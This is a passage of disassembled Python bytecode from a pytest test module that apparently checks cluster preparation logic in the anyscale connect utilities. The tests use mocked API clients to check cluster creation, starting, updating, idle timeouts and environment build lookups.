LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'start_required' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'allow_public_internet_traffic' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME bool LOAD_NAME bool LOAD_CONST ('start_required', 'allow_public_internet_traffic') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_start_cluster_if_required at 0x7f8e44712930, file "f.py", line 83> LOAD_CONST 'test_start_cluster_if_required' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_start_cluster_if_required LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_exists' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'start_required' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('idle_timeout', 'expected_idle_timeout') LOAD_CONST (None, 120) LOAD_CONST (100, 100) BUILD_LIST CALL_METHOD LOAD_NAME bool LOAD_NAME bool LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME int LOAD_CONST ('cluster_exists', 'start_required', 'idle_timeout', 'expected_idle_timeout') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_create_or_update_session_data at 0x7f8e44712d20, file "f.py", line 131> LOAD_CONST 'test_create_or_update_session_data' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_create_or_update_session_data LOAD_CONST <code object test_create_or_update_session_data_generates_new_cluster_name at 0x7f8e2fb928a0, file "f.py", line 198> LOAD_CONST 'test_create_or_update_session_data_generates_new_cluster_name' MAKE_FUNCTION STORE_NAME test_create_or_update_session_data_generates_new_cluster_name LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'needs_update' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_exists' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_name' LOAD_CONST 'test_cluster_name' LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_state' LOAD_CONST 'Running' LOAD_CONST 'Other' BUILD_LIST CALL_METHOD LOAD_NAME bool LOAD_NAME bool LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('needs_update', 'cluster_exists', 'cluster_name', 'cluster_state') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_get_prepare_cluster_action at 0x7f8e2fb92ae0, file "f.py", line 265> LOAD_CONST 'test_get_prepare_cluster_action' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_prepare_cluster_action LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_env_name' LOAD_CONST 'test_cluster_env_name' LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('cluster_env_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_get_cluster_build at 0x7f8e2fb924b0, file "f.py", line 307> LOAD_CONST 'test_get_cluster_build' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_cluster_build LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'clust_env_revision' LOAD_CONST None LOAD_CONST 1 BUILD_LIST CALL_METHOD LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('clust_env_revision',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_get_cluster_env_build at 0x7f8e2fb929c0, file "f.py", line 328> LOAD_CONST 'test_get_cluster_env_build' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_cluster_env_build LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'build_pr' LOAD_CONST None LOAD_CONST 'test_build_pr' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'build_commit' LOAD_CONST None LOAD_CONST 'test_build_commit' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_env_name' LOAD_CONST None LOAD_CONST 'test_cluster_env:name' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_env_dict' LOAD_CONST None LOAD_CONST 'key' LOAD_CONST 'val' BUILD_MAP BUILD_LIST CALL_METHOD LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('build_pr', 'build_commit', 'cluster_env_name', 'cluster_env_dict') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_build_cluster_env_if_needed at 0x7f8e2fb92150, file "f.py", line 363> LOAD_CONST 'test_build_cluster_env_if_needed' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_build_cluster_env_if_needed LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_version' LOAD_CONST None LOAD_CONST 2 BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_name' LOAD_CONST None LOAD_CONST 'test_cluster_compute_name' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_dict' LOAD_CONST None LOAD_CONST 'cloud_id' LOAD_CONST 'mock_cloud_id' BUILD_MAP BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cloud_name' LOAD_CONST None LOAD_CONST 'test_cloud_name' BUILD_LIST CALL_METHOD LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('cluster_compute_name', 'cluster_compute_dict', 'cloud_name', 'cluster_compute_version') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_get_cluster_compute_id at 0x7f8e2fb926f0, file "f.py", line 404> LOAD_CONST 'test_get_cluster_compute_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_cluster_compute_id LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_version' LOAD_CONST None LOAD_CONST 2 BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_computes' BUILD_LIST LOAD_NAME Mock LOAD_CONST 'test_cluster_compute_id' LOAD_CONST ('id',) CALL_FUNCTION BUILD_LIST BUILD_LIST CALL_METHOD LOAD_NAME List LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('cluster_computes', 'cluster_compute_version') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_get_cluster_compute_id_from_name at 0x7f8e2fb921e0, file "f.py", line 463> LOAD_CONST 'test_get_cluster_compute_id_from_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_cluster_compute_id_from_name LOAD_CONST <code object test_is_equal_cluster_compute at 0x7f8e2fe3cae0, file "f.py", line 487> LOAD_CONST 'test_is_equal_cluster_compute' MAKE_FUNCTION STORE_NAME test_is_equal_cluster_compute LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'build_matches' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_matches' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'allow_public_internet_traffic_matches' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME bool LOAD_NAME bool LOAD_NAME bool LOAD_CONST ('build_matches', 'cluster_compute_matches', 'allow_public_internet_traffic_matches') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_validate_new_cluster_compute_and_env_match_existing_cluster at 0x7f8e2fe3c030, file "f.py", line 511> LOAD_CONST 'test_validate_new_cluster_compute_and_env_match_existing_cluster' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_validate_new_cluster_compute_and_env_match_existing_cluster LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_version' LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'get_prepare_cluster_action' LOAD_NAME PrepareClusterAction LOAD_ATTR CREATE LOAD_NAME PrepareClusterAction LOAD_ATTR START LOAD_NAME PrepareClusterAction LOAD_ATTR NO_OP BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_compute_name' LOAD_CONST 'test_cluster_compute_name' LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'cluster_env_name' LOAD_CONST 'test_cluster_env_name' LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME bool LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('get_prepare_cluster_action', 'cluster_compute_name', 'cluster_env_name', 'cluster_compute_version') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_init at 0x7f8e2fe3c9c0, file "f.py", line 561> LOAD_CONST 'test_init' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_init LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'idle_timeout' LOAD_CONST 60 LOAD_CONST -1 BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'maximum_uptime_minutes' LOAD_CONST 60 LOAD_CONST -1 BUILD_LIST CALL_METHOD LOAD_NAME int LOAD_NAME int LOAD_CONST None LOAD_CONST ('idle_timeout', 'maximum_uptime_minutes', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_log_cluster_configs at 0x7f8e2fc1b300, file "f.py", line 687> LOAD_CONST 'test_log_cluster_configs' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_log_cluster_configs LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster.PrepareClusterBlock' LOAD_GLOBAL Mock LOAD_CONST None LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_CONST ('__init__',) CALL_FUNCTION SETUP_WITH to 70 POP_TOP LOAD_GLOBAL PrepareClusterBlock CALL_FUNCTION STORE_FAST prepare_cluster_block LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST prepare_cluster_block STORE_ATTR anyscale_api_client LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST prepare_cluster_block STORE_ATTR api_client LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST prepare_cluster_block STORE_ATTR _ray LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST prepare_cluster_block STORE_ATTR log LOAD_CONST '' LOAD_FAST prepare_cluster_block STORE_ATTR block_label LOAD_FAST prepare_cluster_block RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_GLOBAL Mock BUILD_LIST LOAD_GLOBAL Mock LOAD_CONST None LOAD_CONST ('next_paging_token',) CALL_FUNCTION LOAD_CONST ('results', 'metadata') CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR list_sessions LOAD_GLOBAL Mock LOAD_FAST ray_cli_is_connected LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _ray LOAD_ATTR util LOAD_ATTR client LOAD_ATTR ray STORE_ATTR is_connected LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_cluster LOAD_GLOBAL Mock LOAD_FAST mock_cluster LOAD_CONST True BUILD_TUPLE LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _create_or_update_session_data LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _start_cluster_if_required LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _start_or_create_cluster LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_FAST cluster_name LOAD_CONST 100 LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST cluster_name POP_JUMP_IF_TRUE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR list_sessions LOAD_ATTR assert_called_once_with LOAD_CONST 'test_project_id' LOAD_CONST 50 LOAD_CONST None LOAD_CONST ('count', 'paging_token') CALL_FUNCTION POP_TOP LOAD_FAST ray_cli_is_connected POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _ray LOAD_ATTR util LOAD_ATTR disconnect LOAD_METHOD assert_called_once_with CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _create_or_update_session_data LOAD_METHOD assert_called_once_with LOAD_FAST cluster_name POP_JUMP_IF_FALSE LOAD_FAST cluster_name JUMP_FORWARD to 156 LOAD_CONST 'cluster-0' LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_CONST 100 LOAD_CONST False LOAD_FAST cluster_name UNARY_NOT CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _start_cluster_if_required LOAD_METHOD assert_called_once_with LOAD_FAST mock_cluster LOAD_CONST True LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_CONST None CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_CONST 'test_cluster_id' LOAD_CONST ('id',) CALL_FUNCTION STORE_FAST mock_cluster LOAD_CONST 'test_cluster_name' LOAD_FAST mock_cluster STORE_ATTR name LOAD_GLOBAL Mock LOAD_FAST mock_cluster LOAD_FAST start_required BUILD_TUPLE LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _create_or_update_session_data LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _log_cluster_configs LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_wait_for_session_start LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster' LOAD_FAST mock_wait_for_session_start LOAD_CONST ('wait_for_session_start',) CALL_FUNCTION SETUP_WITH to 86 POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _start_cluster_if_required LOAD_FAST mock_cluster LOAD_FAST start_required LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_FAST allow_public_internet_traffic CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _log_cluster_configs LOAD_METHOD assert_called_once_with LOAD_FAST mock_cluster LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_GLOBAL ANY CALL_METHOD POP_TOP LOAD_FAST start_required POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR start_cluster LOAD_METHOD assert_called_once_with LOAD_FAST mock_cluster LOAD_ATTR id LOAD_GLOBAL StartClusterOptions LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_FAST allow_public_internet_traffic LOAD_CONST ('cluster_environment_build_id', 'cluster_compute_id', 'allow_public_internet_traffic') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST mock_wait_for_session_start LOAD_ATTR assert_called_once_with LOAD_CONST 'test_project_id' LOAD_CONST 'test_cluster_name' LOAD_FAST mock_prepare_cluster_block LOAD_ATTR api_client LOAD_FAST mock_prepare_cluster_block LOAD_ATTR log LOAD_FAST mock_prepare_cluster_block LOAD_ATTR block_label LOAD_CONST ('log', 'block_label') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_CONST 'Running' LOAD_CONST 'test_cluster_id' LOAD_CONST ('state', 'id') CALL_FUNCTION STORE_FAST mock_cluster LOAD_GLOBAL Mock LOAD_FAST cluster_exists POP_JUMP_IF_FALSE LOAD_FAST mock_cluster JUMP_FORWARD to 24 LOAD_CONST None LOAD_FAST mock_cluster BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST mock_get_cluster LOAD_GLOBAL Mock LOAD_FAST start_required LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster' LOAD_FAST mock_get_cluster LOAD_CONST ('get_cluster',) CALL_FUNCTION SETUP_WITH to 86 POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _create_or_update_session_data LOAD_CONST 'test_cluster_name' LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_FAST idle_timeout LOAD_CONST None CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cluster_exists POP_JUMP_IF_TRUE LOAD_FAST mock_get_cluster LOAD_METHOD assert_called_with LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_CONST 'test_project_id' LOAD_CONST 'test_cluster_name' CALL_METHOD POP_TOP LOAD_FAST mock_get_cluster LOAD_ATTR call_count LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR create_cluster LOAD_METHOD assert_called_once_with LOAD_GLOBAL CreateCluster LOAD_CONST 'test_cluster_name' LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_FAST expected_idle_timeout LOAD_CONST None LOAD_CONST ('name', 'project_id', 'cluster_environment_build_id', 'cluster_compute_id', 'idle_timeout_minutes', 'allow_public_internet_traffic') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR update_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP JUMP_FORWARD to 254 LOAD_FAST mock_get_cluster LOAD_METHOD assert_called_once_with LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_CONST 'test_project_id' LOAD_CONST 'test_cluster_name' CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR create_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_ATTR assert_called_once_with LOAD_CONST 'test_project_id' LOAD_FAST mock_cluster LOAD_CONST False LOAD_CONST ('print_warnings',) CALL_FUNCTION POP_TOP LOAD_FAST idle_timeout POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR update_cluster LOAD_METHOD assert_called_once_with LOAD_FAST mock_cluster LOAD_ATTR id LOAD_GLOBAL UpdateCluster LOAD_FAST idle_timeout LOAD_CONST ('idle_timeout_minutes',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_CONST 'Running' LOAD_CONST 'test_cluster_id' LOAD_CONST 'cluster-exists' LOAD_CONST ('state', 'id', 'name') CALL_FUNCTION STORE_FAST mock_taken_cluster LOAD_GLOBAL Mock LOAD_CONST 'Running' LOAD_CONST 'test_cluster_id' LOAD_CONST 'cluster-newgen' LOAD_CONST ('state', 'id', 'name') CALL_FUNCTION STORE_FAST mock_new_cluster LOAD_GLOBAL Mock LOAD_FAST mock_taken_cluster LOAD_CONST None LOAD_FAST mock_new_cluster BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST mock_get_cluster LOAD_GLOBAL Mock CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_GLOBAL patch LOAD_ATTR multiple LOAD_CONST 'anyscale.connect_utils.prepare_cluster' LOAD_FAST mock_get_cluster LOAD_CONST ('get_cluster',) CALL_FUNCTION SETUP_WITH to 94 POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _create_or_update_session_data LOAD_CONST 'cluster-exists' LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_CONST 100 LOAD_CONST None LOAD_CONST True CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST mock_get_cluster LOAD_METHOD assert_has_calls LOAD_GLOBAL call LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_CONST 'test_project_id' LOAD_CONST 'cluster-exists' CALL_FUNCTION LOAD_GLOBAL call LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_CONST 'test_project_id' LOAD_GLOBAL ANY CALL_FUNCTION LOAD_GLOBAL call LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_CONST 'test_project_id' LOAD_GLOBAL ANY CALL_FUNCTION BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST mock_get_cluster LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST -1 BINARY_SUBSCR STORE_FAST cluster_name_of_first_get_cluster_call LOAD_FAST mock_get_cluster LOAD_ATTR call_args_list LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST -1 BINARY_SUBSCR STORE_FAST cluster_name_of_last_get_cluster_call LOAD_FAST cluster_name_of_first_get_cluster_call LOAD_FAST cluster_name_of_last_get_cluster_call COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR create_cluster LOAD_METHOD assert_called_once_with LOAD_GLOBAL CreateCluster LOAD_GLOBAL ANY LOAD_CONST 'test_project_id' LOAD_CONST 'test_build_id' LOAD_CONST 'test_compute_template_id' LOAD_CONST 100 LOAD_CONST None LOAD_CONST ('name', 'project_id', 'cluster_environment_build_id', 'cluster_compute_id', 'idle_timeout_minutes', 'allow_public_internet_traffic') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR update_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _validate_new_cluster_compute_and_env_match_existing_cluster LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_FAST cluster_state LOAD_CONST ('state',) CALL_FUNCTION STORE_FAST mock_cluster LOAD_FAST cluster_name LOAD_FAST mock_cluster STORE_ATTR name LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST cluster_exists POP_JUMP_IF_FALSE LOAD_FAST mock_cluster BUILD_LIST JUMP_FORWARD to 32 BUILD_LIST LOAD_CONST ('results',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR search_clusters LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST cluster_exists POP_JUMP_IF_FALSE LOAD_FAST mock_cluster JUMP_FORWARD to 60 LOAD_CONST None LOAD_CONST ('result',) CALL_FUNCTION LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client STORE_ATTR get_session LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_prepare_cluster_action LOAD_CONST 'test_project_id' LOAD_FAST cluster_name LOAD_FAST needs_update CALL_METHOD STORE_FAST prepare_cluster_action LOAD_FAST cluster_name POP_JUMP_IF_FALSE LOAD_FAST cluster_exists POP_JUMP_IF_TRUE LOAD_FAST prepare_cluster_action LOAD_GLOBAL PrepareClusterAction LOAD_ATTR CREATE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 170 LOAD_FAST cluster_state LOAD_CONST 'Running' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST prepare_cluster_action LOAD_GLOBAL PrepareClusterAction LOAD_ATTR START COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 170 LOAD_FAST needs_update POP_JUMP_IF_FALSE LOAD_FAST prepare_cluster_action LOAD_GLOBAL PrepareClusterAction LOAD_ATTR UPDATE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 170 LOAD_FAST prepare_cluster_action LOAD_GLOBAL PrepareClusterAction LOAD_ATTR NO_OP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cluster_name POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR anyscale_api_client LOAD_ATTR search_clusters LOAD_METHOD assert_called_once_with LOAD_CONST 'test_project_id' LOAD_CONST 'equals' LOAD_FAST cluster_name BUILD_MAP LOAD_CONST 'ALL' LOAD_CONST ('project_id', 'name', 'archive_status') BUILD_CONST_KEY_MAP CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST mock_build LOAD_GLOBAL Mock LOAD_FAST mock_build LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_cluster_env_build LOAD_GLOBAL Mock LOAD_FAST mock_build LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST mock_prepare_cluster_block STORE_ATTR _get_default_cluster_env_build LOAD_FAST mock_prepare_cluster_block LOAD_METHOD _get_cluster_build LOAD_FAST cluster_env_name LOAD_CONST None CALL_METHOD LOAD_FAST mock_build COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cluster_env_name POP_JUMP_IF_FALSE LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _get_cluster_env_build LOAD_METHOD assert_called_once_with LOAD_FAST cluster_env_name LOAD_CONST None CALL_METHOD POP_TOP JUMP_FORWARD to 80 LOAD_FAST mock_prepare_cluster_block LOAD_ATTR _get_default_cluster_env_build LOAD_METHOD assert_called_once_with CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock LOAD_CONST 'test_app_template_id' LOAD_CONST ('id',) CALL_FUNCTION STORE_FAST mock_cluster_env LOAD_CONST 'test_cluster_env_name' LOAD_FAST mock_cluster_env STORE_ATTR name LOAD_GLOBAL Mock LOAD_GLOBAL Mock LOAD_FAST mock_cluster_env BUILD_LIST LOAD_GLOBAL Mock LOAD_CONST None LOAD_CONST ('next_paging_token',) CALL_FUNCTION LOAD_CONST ('results', 'metadata') 